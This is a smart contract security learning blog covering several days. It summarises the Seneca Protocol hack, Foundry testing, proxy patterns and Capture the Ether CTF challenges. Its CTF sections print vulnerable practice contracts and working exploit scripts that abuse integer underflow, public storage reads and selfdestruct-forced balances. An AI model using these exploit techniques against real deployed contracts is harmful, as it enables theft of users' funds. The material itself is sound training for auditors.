Still no luck regarding the Capture the Ether challenge but I'll continue to post other content in the interim.

A recent hack on the Seneca Protocol was super interesting so I thought I'd write about this.

Overview
US$6m was stolen in late Feb (but 80% recovered) from the protocol that allows users to borrow collateralized stablecoin senUSD using supported collateral on the Arbitrum network. The central contract governing the system is the Chamber contract.

The Hack
The killer for this protocol was the lack of input validation when calling performOperations in the contract. For context, input validation is the process of checking whether the data that your code receives from, but not limited to: users or files, is correct, complete, and secure.

By failing to conduct proper invariance testing, the hack was able to exploit an int8 array that specified the target function(s) being called. As a result, the attacker's manipulation of this array meant they were able to call any contract with any arbitrary data. This meant the attacker could:

  1. set callData as a transferFrom() on any token;
  2. specify the 'from' address to a userā€™s address, and
  3. specify the 'to' address to the attacker's EOA address.

A further breakdown of the hack can be found here.

I find it interesting there was a cancelled audit test back in November relating to this protocol. Perhaps users may not still have found it but a re-occurring theme really appears to be the balance between security and cost of actually auditing contract.

Day 52:

I think one of my weaknesses as a budding security auditor is my familiarity with Foundry. As such I sought out how to build a Crowdsourcing smart contract and test it via Foundry. A disclaimer that I followed along with the Cyfrin videos to arrive at this result but I did build the code from scratch as opposed to copying the repo and claiming it as my own.

The link for my repo can be found here:

Any feedback or discussion is very welcome.

My key takeaways were learning about the different types of testing, with a focus on:

  1. Integration testing - using realistic scenarios with multiple functions or contracts for testing, attempting to capture various corner cases;
  2. unit testing - basically allowing us to test the contract methods individually (e.g. entering forge test --match-test testFunctionName into a terminal); and
  3. Fork testing - allows us to create a local replica (or fork) of the Ethereum network to test a dynamic environment.

I also found it really cool to be able to estimate gas cost and run coverage tests to see how the code held up!!

Day 53 & 54:

This took a little longer than initially anticipated but I'm proud to say that I've created a lottery that is verifiably random (at least via Chainlink)!! I've really embraced Foundry as a tool for unit testing and being able to quickly test the 'coverage' of my code (i.e. the % of my code that is successfully tested given the tests outlined).

See the code here:

If you have any questions, concerns or general comments let me know!

I also have found that Foundry will absolutely be my solve to my earlier outlined problem for the Capture the Ether challenges. I was struggling to make sense of how Yarn interacts with Hardhat and I've honestly become a bit more comfortable with Foundry so I want to keep with this tool that I know a lot of smart contract auditors use.

I will also be posting the code for each of the Challenges at this location (alongside my Ethernaut problems / solutions), noting that the warmup solutions will already be contained in this repo because I didn't want to waste other's time in explaining the setup.

More on the CTE challenge to come!!

Days 55 ā€“ 63:

I apologise for the delay in posting, I wanted to post a substantial update because I had a few things going at once over the past week (not including doing my day job in an unrelated field).

By way of update, since my last post I have:

  1. Competed in the most recent Ethernaut Capture the Flag event hosted by OpenZeppelin (I ended up with the same score as 84th place out of 800+);
  2. Completed all EVM puzzles contained in the following github to better understand bytecode and opcode functionalities;
  3. Completed most of the Capture the Ether challenges via Foundry (Iā€™ll provide a breakdown of the most challenging ones in days to come); and
  4. Started to develop a DeFi protocol via Foundry.

Competition
I wonā€™t lie, this competition was incredibly tough, and I have the utmost respect for those that ranked at the top of the leaderboard. I didnā€™t really know what to expect with this being my first competition and itā€™s safe to say I learnt a lot. Firstly, I found my strengths were in understanding the Solidity-based questions as opposed to Vyper or cryptography (challenges can be found here). What I mean by this is I was able to track through the contract and have a relative idea as to where weak points may have been and how to exploit them. The BIGGEST barrier for me in this competition was using Docker. I genuinely had no idea how to deploy / manipulate / interact with contracts using Docker and by the end of the competition, I had a vague understanding of Docker but if anyone can recommend an approachable resource, Iā€™d love to hear about it.
Admittedly Iā€™d only seen this today: https://github.com/OpenZeppelin/ctf-infra.git

EVM Puzzles
Iā€™d say these puzzles gamify a foundational understanding of how contracts interact at the bytecode and opcode levels. Iā€™m a massive fan and recommend everyone try it out and look to EVM Codes as a means to guide them on what each opcode does. I also found that the puzzles built nicely on top of each other (i.e. increasing in complexity and difficulty). If there is any interest, Iā€™ll be sure to breakdown each one I solved.

Capture the Ether
I think those that are familiar with Ethernaut are bound to find a fair bit of overlap with this challenge set. For example:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract GuessTheRandomNumberChallenge {
    uint8 answer;

    //function GuessTheRandomNumberChallenge() public payable {
    constructor() payable {
        require(msg.value == 1 ether);

        answer = uint8(
            uint256(
                keccak256(
                    abi.encodePacked(
                        blockhash(block.number - 1),
                        block.timestamp
                    )
                )
            )
        );
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            address payable toSendTo = payable(msg.sender);
            toSendTo.transfer(2 ether);
            //msg.sender.transfer(2 ether);
        }
    }
} 

Having completed the early challenges of Ethernaut, we know that nothing is truly ever random without the appropriate measures (as discussed fairly extensively in previous posts). In knowing this and see how it was previously exploited, we can get a bit fancy with our testing of the solution for this one (mine below):

 // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Script, console} from "../script/Contract.s.sol";
import {GuessTheRandomNumberChallenge} from "../src/GuessTheRandomNumber.sol";
import {Test} from "../../lib/forge-std/src/Test.sol";

contract GuessTheRandomNumberTest is Test {
    GuessTheRandomNumberChallenge guessTheRandomNumberChallenge;

    address account1;
    address account2;
    uint8 answer;

    //setup an account with funds to ensure function doesn't revert
    function setUp() public {
        account1 = vm.addr(1);
        vm.label(account1, "Account1[address]");
        vm.deal(account1, 10 ether);

        guessTheRandomNumberChallenge = new GuessTheRandomNumberChallenge{
            value: 1 ether
        }();
        vm.label(
            address(guessTheRandomNumberChallenge),
            "GuessTheRandomNumberChallenge[contract]"
        );
        vm.startPrank(account1);
        //answer = crackRandom();

        // since everything is public, we literally look to the 'random' number from the chain
        // the .vm.load command is loading the storage slot 0, we only have one variable an uint8...guess what that is
        answer = uint8(
            uint256(vm.load(address(guessTheRandomNumberChallenge), 0))
        );

        //console.log(address(guessTheRandomNumberChallenge));
        //console.log(answer);
    }

    //extra measures to ensure that the script is running how we want it to
    function testIncorrectGuess() public {
        // incorrect guess, costs 1 ether each
        guessTheRandomNumberChallenge.guess{value: 1 ether}(1);
        guessTheRandomNumberChallenge.guess{value: 1 ether}(43);

        uint expectedAccountBalance = 8 * (1 ether);
        assertEq((account1.balance), expectedAccountBalance);
        uint expectedContractBalance = 3 * (1 ether);
        assertEq(
            address(guessTheRandomNumberChallenge).balance,
            expectedContractBalance
        );

        console.log(account1.balance);
        console.log(address(guessTheRandomNumberChallenge).balance);
    }

    function testCorrectGuess() public {
        // correct guess, costs 1 ether, returns 2
        guessTheRandomNumberChallenge.guess{value: 1 ether}(answer);

        uint expectedAccountBalance = 11 * (1 ether);
        assertEq((account1.balance), expectedAccountBalance);
        uint expectedContractBalance = 0;
        assertEq(
            address(guessTheRandomNumberChallenge).balance,
            expectedContractBalance
        );

        console.log(answer);
        console.log(account1.balance);
        console.log(address(guessTheRandomNumberChallenge).balance);
    }

    function testIsComplete() public {
        console.log(answer);

        guessTheRandomNumberChallenge.guess{value: 1 ether}(answer);
        assertTrue(guessTheRandomNumberChallenge.isComplete());

        console.log(account1.balance);
        console.log(address(guessTheRandomNumberChallenge).balance);
    }

    fallback() external payable {}

    receive() external payable {}
}

As mentioned above, Iā€™ll provide a breakdown of the more complex challenges in the following days.

DeFi protocol
I will hopefully post this in the coming weeks and when I do, others are more than welcome to comment and critique it ā€“ Iā€™m incredibly interested in the area and I want to do better to understand it.

To wrap up, I am incredibly proud of what Iā€™ve achieved in past week and admit that I am very tired as a result (from 23 March to 31 Iā€™ll take a break to recover ā€“ itā€™s a journey not a sprint!!). Iā€™ll continue to post daily like I used to until my break (and subsequently after) but in the interim some updates may not be as substantial as this one, as I start to prepare myself for applying to jobs. If anyone in the community has enjoyed these posts or thinks I may be interested in a project / audit they are working on let me know and Iā€™d be glad to have a discussion.

Day 64:

Code

pragma solidity ^0.4.21;

contract RetirementFundChallenge {
    uint256 startBalance;
    address owner = msg.sender;
    address beneficiary;
    uint256 expiration = now + 10 years;

    function RetirementFundChallenge(address player) public payable {
        require(msg.value == 1 ether);

        beneficiary = player;
        startBalance = msg.value;
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function withdraw() public {
        require(msg.sender == owner);

        if (now < expiration) {
            // early withdrawal incurs a 10% penalty
            msg.sender.transfer(address(this).balance * 9 / 10);
        } else {
            msg.sender.transfer(address(this).balance);
        }
    }

    function collectPenalty() public {
        require(msg.sender == beneficiary);

        uint256 withdrawn = startBalance - address(this).balance;

        // an early withdrawal occurred
        require(withdrawn > 0);

        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    }
}

Breakdown

  • the owner is the msg.sender and the beneficiary is the player;
  • msg.value == 1 ether ensures the initially set up contract contains 1 eth;
  • isComplete is to see if we have completed the challenged by draining the balance of the contract to 0;
  • withdraw is a function that is supposedly only callable by the owner and if the timing is such that the function is called prior to 10 years then the owner forfeits 10% of the contract's value; and
  • collectPenalty there is a requirement that the beneficiary (akak the player) is the msg.sender.

Problem
A user has committed 1 ether to the contract above, and they wonā€™t withdraw it until 10 years have passed. If I they were to withdraw early, 10% of their ether goes to the beneficiary (us). As a result, the user doesn't want to lose 0.1 of their either to us, so they keep it in the fund.

What this problem is alluding to is that if we can force the user to call the withdraw function (noting that there is a requirement the msg.sender is equal to owner) then we can receive Eth we are technically not entitled to.

Solution

  • Only the collectPenalty is callable by us provided we aren't the owners of the contract;
  • given the version of the contract, safeMath is not properly imported so we are able to avoid the requirement that require(withdrawn > 0) and perform an underflow in startBalance - address(this).balance; and
  • remember the day 41 and the selfdestruct function? If not, a refresher is that we create a contract that autodestructs such that it: 1) sends Ether to the original contract address, 2) perform an underflow, and 3) then withdraws the entire set of funds.

The script for the exploit looks like the following:

import { ethers } from "hardhat";

//insert the deployed contract's address
const contractAddress = "/*insert address*/";

async function main() {

//getting the contract address
  const challengeFactory = await ethers.getContractFactory("RetirementFundChallenge");
  const challengeContract = challengeFactory.attach(contractAddress);

//initial setup of the contract
  const attackFactory = await ethers.getContractFactory("RetirementFundAttack");
  await attackFactory.deploy(contractAddress, { value: 1 });

//call collectPenalty to withdraw entire funds
  const tx = await challengeContract.collectPenalty();
  await tx.wait();
}

//exits on error
main().catch(error => {
  console.error(error);
  process.exit(1);
});

Day 65:

Code

pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleChallenge(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}

Breakdown

  • balanceOf and allowance are both mapped such that they are publicly viewable addresses;
  • TokenWhaleChallenge creates the player, gives an initial 1000 coins and ensures that the balance associated with the player is 1000;
  • Transfer event emits storing the addresses to, from and the value associated with the transaction. _transfer and transfer are directly related to this event;
  • Approval event acts similar to the Transfer event but indexes the owner, spender and the value. The function approve takes the spender and value parameters but ensures that the allowance requirement (i.e. person sending to the value has the value) is passed to ensure users don't 'fake' transactions; and
  • with the above in mind, transferFrom is relatively straightforward.

Problem
This ERC20-compatible token is hard to acquire. Thereā€™s a fixed supply of 1,000 tokens, all of which are yours to start with. Find a way to accumulate at least 1,000,000 tokens to solve this challenge.

Solution

  • some may have noticed I was a bit vague with my transfer descriptions, it was deliberate (honestly!) to get others thinking about why the contract may have so many transfer functions;
  • similar to yesterday's post, if we can make balanceOf[msg.sender] -= value; underflow, we'll solve the challenge; and
  • we can manage to do this by looking to the transferFrom function provided it calls _transfer but doesn't check the balance of the msg.sender.

Here is the script:

import { ethers } from "hardhat";

const contractAddress = "/* address here */";

// you'll note 2 users here, we are wanting to approve tokens 
// from a Secondary Account, so that the Attacker can move the funds
async function main() {
  const [user1, user2] = await ethers.getSigners();

// retrieves the contract address and constructor
  const challengeFactory = await ethers.getContractFactory("TokenWhaleChallenge");
  const challengeContract = challengeFactory.attach(contractAddress);

// initial user is set up by this point
  const approveTx = await challengeContract.connect(user2).approve(user1.address, 1000);
  await approveTx.wait();

// transferring Transfer 501 tokens from the Attacker to the Secondary Account
  const transferTx = await challengeContract.connect(user1).transfer(user2.address, 501);
  await transferTx.wait();

// At this stage the balance of the Attacker will be 499 and the Secondary Account will be 501
// Call me lazy but we could build in a check here if we were concerned with account numbers 

// the Attacker address calls transferFrom to move 500 tokens from the Secondary Account to any address
// note: this means the Attacker account balance will underflow (499-500)
// therefore, instead of resulting in -1, it is MAX_UINT_256, so the contract is drained

  const transferFromTx = await challengeContract
    .connect(user1)
    .transferFrom(user2.address, "0x0000000000000000000000000000000000000000", 500);
  await transferFromTx.wait();
}

// check to catch errors 
main().catch(error => {
  console.error(error);
  process.exit(1);
});

Day 66:
Iā€™m back and Iā€™m conscious it has been a while since my last post. As such, I will try to recover the lost ground of the last 15 days. I really encourage everyone to interact with the posts, even if it is to ask a question. I wonā€™t consider anything stupid, and it gives me further practice in explaining and making a better community!!

In this post I want to discuss different types of proxies given a recent assignment to amend my previous contracts (see Days 1 and 2 ā€“ which I slightly cringe at) and make them upgradeable.
Iā€™ve attempted to do so at a very basic level below (any feedback welcomed!):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

// Creates a token called StakeToken  
    contract StakeToken is Initializable, ERC20Upgradeable {
        
    function initialize() initializer public {
        __ERC20_init("StakeToken", "STK");
    }
        uint256 internal constant NFT_TOKEN_COST = 1e19;
        
        function mintToken(address to, uint256 amount) external {
            _mint(to, amount);
        }

    function spendAllowance(address from) external {
        uint256 tokenAllowance = allowance(msg.sender, from);
        require(
            tokenAllowance == NFT_TOKEN_COST,
            "Token withdrawal not approved!"
        );

        _spendAllowance(msg.sender, from, tokenAllowance);
        _transfer(from, msg.sender, tokenAllowance);
    }

    function approveTokenTransfer(address from) public {
        uint256 fromAmount = balanceOf(from);
        require(fromAmount >= NFT_TOKEN_COST, "Not enough tokens!");

        approve(from, NFT_TOKEN_COST);
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {ERC721Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";

contract StakeNft is Initializable, ERC721Upgradeable {
    function initialize() initializer public {
        __ERC721_init ("StakeNFT", "SNFT");
    }
    using Counters for Counters.Counter;
    Counters.Counter private _number;
    uint256 public constant MAX_SUPPLY = 10;

    function mint(address to) external {
        require(_number.current() < MAX_SUPPLY, "No more NFTs are mintable!");
        _mint(to, _number.current());
        _number.increment();
    }

    function _baseURI() internal pure override returns (string memory) {
        return
            "ipfs://QmadzaVjxQZDTP3gFJ1bzZNaJrcc63mpwBPzALispQSiMc/";
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "./StakeNft.sol";
import "./StakeToken.sol";

contract game is IERC721Receiver {
    address public owner;
    StakeToken private _stakeToken;
    StakeNft private _stakeNft;
    uint256 public constant TIME_PER_DAY = 86400;
    uint256 public constant REWARD_PER_TOKEN = 10;

    mapping(uint256 => address) private _originalOwner;
    
    // track number of staked tokens and give proportional rewards
    mapping(address => uint256[]) private _ownerStakedTokenList;
    
    // track time of last claimed staking rewards
    mapping(address => uint256) private _lastClaimed;

    constructor(address stakeTokenAddress, address stakeNftAddress) {
        owner = msg.sender;
        _stakeToken = StakeToken(stakeTokenAddress);
        _stakeNft = StakeNft(stakeNftAddress);
    }

    function mintToken() external notOwner {
        _stakeToken.spendAllowance(msg.sender);
        _stakeNft.mint(msg.sender);
    }

    //actual staking operation
    function stake(uint256 tokenId) external notOwner {
        _originalOwner[tokenId] = msg.sender;
        _ownerStakedTokenList[msg.sender].push(tokenId);

        if (_lastClaimed[msg.sender] == 0) {
            _lastClaimed[msg.sender] = block.timestamp;
        }

        _stakeNft.safeTransferFrom(msg.sender, address(this), tokenId);
    }

    function unstakeNft(uint256 tokenId) external notOwner {
        address nftOwner = _originalOwner[tokenId];
        _stakeNft.safeTransferFrom(address(this), nftOwner, tokenId);
    }

    function claimStakingRewards() external notOwner {
        uint256 numberOfStakedNfts = _ownerStakedTokenList[msg.sender].length;
        require(numberOfStakedNfts > 0, "No NFTs have been staked!");

        uint256 timeLapsed = block.timestamp - _lastClaimed[msg.sender];
        // reward is given out for every 24 hrs instead of proportional
        uint256 daysOfUnclaimed = timeLapsed / uint256(TIME_PER_DAY);
        uint256 reward = daysOfUnclaimed *
            numberOfStakedNfts *
            REWARD_PER_TOKEN;
        // last claim is set to claimed number of days instead current timestamp
        // as leftover or unclaimed time is not factored in
        _lastClaimed[msg.sender] += daysOfUnclaimed * TIME_PER_DAY;

        _stakeToken.mintToken(msg.sender, reward);
    }

    // pre nft minting, token transfer approval
    function approveTokenTransfer() external notOwner {
        _stakeToken.approveTokenTransfer(msg.sender);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    modifier notOwner() {
        require(msg.sender != owner, "The Owner cannot call this function");
        _;
    }
}

What Iā€™ve done above is attempt to implement the OpenZeppelin Upgrades Plugins such that the contracts can be upgraded to modify its code, while preserving their address, state, and balance. You can see in the above there is a revised import of upgradeability and changes to the constructor (removing it to replace with initialization). The aim was to showcase that from the NFT contract, I could upgrade the contract to include the ability for an admin to transfer NFTs between accounts forcefully. Iā€™m more than happy to go through the process of showcasing this via etherscan testnet if others were interested!

Okayā€¦but wtf is a proxy?
At its most basic level a smart contract can be ā€˜upgradedā€™ using a proxy. What this means is there are two contracts:

  1. Contract 1 (proxy/point of access): This is the contract everyone interacts with directly, however it also plays the important role in sending transactions to / from the logic contract (see below); and
  2. Contract 2 (logic contract): This contract contains the logic of the program.

It is important to note the proxy contract does not change provided it is pointing to the logic contract. What does change is that it may point to a different logic contract (the upgrade!). The contracts can achieve this structure by using the delegatecall function to call to a logic contract that holds the actual code to be executed. But what if you want to upgrade the proxy? Well youā€™d include a function such as upgradeTo(address newImplementation) to upgrade the proxy to a new logic contract.

The real issue the below proxy structures try to address is what happens when an implementation of the logic contract contains an upgradeTo? What if there is clashes between functions with different names?

Transparent Upgradeable
The goal of a transparent proxy is to be indistinguishable by a user from the actual logic contract so these clashes donā€™t happen (i.e. a call to upgradeTo on a proxy should always end up executing the function in the logic contract, not the proxy management function).
Delving a bit further, on the actual management of the proxy, OZ have ensured that a callerā€™s address will determine who can actually call the upgradeTo function. See the diagram below:

Whatā€™s the issue with the above? Well what if you are the user that creates the proxy to logic contract and then you want to interact with the logic contract. Itā€™s not possible, youā€™d have to create a different account (which could be both annoying and potentially costly). OZ recommends having a sole account dedicated to upgrades via proxy but I donā€™t think that particularly useful. Iā€™m lazy and want to use one account so if I have to continually switch between the two this could get annoying. Enter UUPS proxiesā€¦

UUPS
This was implemented first via EIP1822 (but now via ERC1967Proxy) with the central difference being that the UUPS proxies can be upgraded via the implementation (or logic contract if you prefer) and can eventually be removed. This means the UUPS is cheaper than Transparency Proxy provided the Transparent Proxy requires each proxy contract to contain the upgradeTo functionality, costing more gas for deployment.
It is also worth noting that even OZ is advocating for widespread adoption for this type of proxy as opposed to the Transparency proxy due to:

  • UUPSā€™ flexibility to remove upgradeability;
  • UUPSā€™ assurance that a unique storage slot is set for a proxy contract to store the address of the logic contract; and
  • better gas-efficiency than the Transparent Proxy pattern (especially if you ar edeploying many smart contract wallets on the mainnet.

Day 67

Considering the previous dayā€™s post, I wanted to explain more complex ways that other projects have implemented the upgradeability function, predominately with the more complex systems such as diamonds or metamorphic contracts.

Diamonds

The central difference to the above type of upgrades via a proxy, is that a diamond is a contract (adhering to EIP-2535) that uses the external functions of other contracts as its own (called Facets). A user might want to use this structure if they find they have a very large project that exceeds storage capacity because diamond storage capabilities bypass Solidity's automatic storage location mechanism. In plain English, the Diamond standard enables you to specify where your data gets stored within contract storage as opposed to Solidity that specifies the location based on byte32 sizing.

I think an interesting feature is the diamondCut function. This enables a dev to add, replace and remove any number of functions from a diamond in a single transaction. One example given is the use of diamondCut can add 3 new functions, replace 6 functions and remove 4 functions providing a great deal of ease in upgrading a contract. I thought an issue may be storage clash (i.e. a vulnerability where different state variables that occupy the same storage slot in different smart contracts override each other) but upon further reading the diamondCut function prevents the same function selectors from being added.

Nothing is perfect and a complex structure like this results in a series of issues see here and here. To summary a key the central issue, the use of storage pointers has risks and upgrading a contract using this standard is very costly.

Metamorphosis Smart Contracts

A really simplified explanation of this contract is: you deploy a Smart Contract (A) that deploys a Smart Contract (B1) that replaces its own bytecode with another Smart Contract (B2).

The central component to understanding this contract is the use of the CREATE2 opcode. This opcode creates a Smart Contract on a specific address, but that address is known in advance. You can know the address before when you breakdown CREATE2:

keccak256(0xff ++ deployersAddr ++ salt ++ keccak256(bytecode))[12:]

The above hashes (via keccak256) a constant (0xff), the deployerā€™s address, salt and, another hashed bytecode to be deployed at that address. The inclusion of salt here is important because it ensures a degree of randomness is added to a transaction (usually via input into the hashing function).

Putting the above together:

  • a user deploys a logic contract that does not rely on a constructor (i.e. this is done via initialize) and contains a selfdestruct function ;
  • store a reference to the contract;
  • Using CREATE2, deploy a metamorphic contract that will retrieve the implementation address from the factory function, clone the runtime bytecode at that location, and use it to deploy the metamorphic contractā€™s runtime bytecode; and
  • When you want to upgrade the metamorphic contract, call selfdestruct in the existing contract, deploy and reference a new implementation, and redeploy the contract, which will now clone the new implementation.

This proxy is interesting in that it makes the most sense to streamline the process for an upgrade, but the biggest setback is the use of the selfdestruct function. Weā€™ve seen enough Ethernaut challenges to see how this can be abused!

Day 68

I thought Iā€™d round off the remainder of the difficult Capture the Ether challenges before continuing finally to Damn Vulnerable Defi.

Code

pragma solidity ^0.4.21;

interface IName {
    function name() external view returns (bytes32);
}

contract FuzzyIdentityChallenge {
    bool public isComplete;

    function authenticate() public {
        require(isSmarx(msg.sender));
        require(isBadCode(msg.sender));

        isComplete = true;
    }

    function isSmarx(address addr) internal view returns (bool) {
        return IName(addr).name() == bytes32("smarx");
    }

    function isBadCode(address _addr) internal pure returns (bool) {
        bytes20 addr = bytes20(_addr);
        bytes20 id = hex"000000000000000000000000000000000badc0de";
        bytes20 mask = hex"000000000000000000000000000000000fffffff";

        for (uint256 i = 0; i < 34; i++) {
            if (addr & mask == id) {
                return true;
            }
            mask <<= 4;
            id <<= 4;
        }

        return false;
    }
}

Breakdown

  • Importing the function name from the external IName contract. This function is an external function that returns a bytes32 name;
  • authenticate requires by passing both isSmarx() and isBadCode() conditions;
  • isSmarx is a function that returns a Boolean depending on whether the IName address has a bytes32 name that is equal to smarx;
  • isBadeCode takes the calling address and checks if the address contains the bytes ā€œbadc0deā€.

Problem
TLDR

  1. Create a smart contract that has a function name() which will return ā€œsmarxā€, and
  2. ensure the contract has ā€œbadc0deā€ as part of its address hex

This contract can only be used by me (smarx). I donā€™t trust myself to remember my private key, so Iā€™ve made it so whatever address Iā€™m using in the future will work:

  • I always use a wallet contract that returns ā€œsmarxā€ if you ask its name.
  • Everything I write has bad code in it, so my address always includes the hex string badc0de.
  • To complete this challenge, steal my identity!

Solution

  • Criteria one requires a contract which has implements the function name().
  • Criteria two requires a brute force attack. For context, Eth contract addresses are generated deterministically with the rightmost 160 bits of the keccak256 result of the sender address and nonce in RLP encoding. Because we have the criteria for what the address needs to look like, we write a script that will trawl through all addresses to find a match. This looked like it would take north of 25 hours for me, so I grabbed the answer from another blog post.

Day 69

Code:

pragma solidity ^0.4.21;

contract PublicKeyChallenge {
    address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
    bool public isComplete;

    function authenticate(bytes publicKey) public {
        require(address(keccak256(publicKey)) == owner);

        isComplete = true;
    }
}

Breakdown
Pretty simple one:

  • Address contains the ownerā€™s address but we will need to dig into it for more information
  • authenticate requires the input for the ownerā€™s publicKey

Problem
Recall that an address is the last 20 bytes of the keccak-256 hash of the addressā€™s public key. To complete this challenge, find the public key for the owner's account.

Solution
Checking the address 0x92b28647ae1f3264661f72fb2eb9625a89d88a31 on Etherscan. A previous transaction was sent so we look to the Transaction Information section, click on Tools & Utilities, then click on ā€œGet Raw Transaction Hexā€.

We get:
0xf87080843b9aca0083015f90946b477781b0e68031109f21887e6b5afeaaeb002b808c5468616e6b732c206d616e2129a0a5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7a05710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962

Go to the following repo: https://github.com/ethereumjs/ethereumjs-tx , clone it and call the getSenderPublicKey() function. Use the public key as an input parameter for the function authenticate, and thatā€™s that.